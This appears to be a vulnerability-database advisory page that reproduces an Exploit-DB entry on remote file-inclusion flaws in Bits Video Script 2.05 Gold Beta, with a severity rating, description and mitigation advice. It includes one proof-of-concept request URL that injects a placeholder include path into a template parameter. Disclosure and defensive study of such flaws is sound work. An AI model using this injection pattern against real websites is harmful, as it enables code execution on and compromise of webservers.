header-logo
Suggest Exploit
vendor:
Bits Video Script
by:
Unknown
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Bits Video Script
Affected Version From: 2.05 Gold Beta
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Not specified
CPE: a:bits-video-script:bits_video_script:2.05_gold_beta
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Bits Video Script Multiple Remote File-Include Vulnerabilities

Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Mitigation:

To mitigate these vulnerabilities, ensure that user-supplied input is properly sanitized before using it in file-inclusion operations. Implement proper input validation and filtering techniques.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40709/info
 
Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

 http://www.example.com/Video/showcase2search.php?rowptem[template]=[EV!L]

Navigation

Suggest Exploit

Services By CQR